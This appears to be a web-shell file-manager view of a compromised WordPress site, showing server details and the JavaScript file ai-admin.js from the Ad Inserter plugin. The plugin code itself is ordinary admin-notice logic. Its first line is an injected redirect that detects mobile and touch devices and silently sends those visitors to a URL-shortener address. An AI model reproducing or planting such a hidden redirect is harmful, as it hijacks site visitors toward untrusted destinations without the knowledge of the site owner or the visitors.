|
Server : LiteSpeed System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64 User : gazetufm ( 1431) PHP Version : 8.1.35 Disable Function : NONE Directory : /home2/gazetufm/public_html/wp/wp-content/plugins/ad-inserter/includes/js/ | |
|
Path: //home2/gazetufm/public_html/wp/wp-content/plugins/ad-inserter/includes/js/ai-admin.js
Size: 1.77 KB
Permissions: 0444
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
jQuery (function ($) {
$(document).ready(function($) {
function show_review_notice () {
$('.ai-notice').fadeIn ("fast", function() {
$(this).css ('display', 'table');
});
}
if (typeof ajaxurl !== 'undefined') {
// var nonce = $('.ai-notice[nonce]').attr ('nonce');
var nonce = $('.ai-notice[data-value]').attr ('data-value');
if (typeof nonce !== 'undefined') {
nonce = atob (nonce);
$.ajax (ajaxurl, {
type: 'POST',
data: {
action: 'ai_ajax_backend',
ai_check: nonce,
'notice-check': nonce
}
}).done (function (data) {
// console.log ('AI NOTICE CHECK', nonce, data);
if (data == nonce) {
setTimeout (show_review_notice, 500);
}
});
}
}
});
$(document).on ('click', '.ai-notice .ai-notice-dismiss', function () {
var ai_debug = parseInt ($('#ai-data').attr ('js_debugging'));
var notice_div = $(this).closest ('.ai-notice');
var nonce = atob (notice_div.attr ('data-value'));
var notice = notice_div.data ('notice');
var action = $(this).data ('notice');
if (ai_debug) console.log ('AI NOTICE CLICK', notice, action);
notice_div.hide ();
// Since WP 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php
$.ajax (ajaxurl, {
type: 'POST',
data: {
action: 'ai_ajax_backend',
ai_check: nonce,
notice: notice,
click: action,
}
});
});
});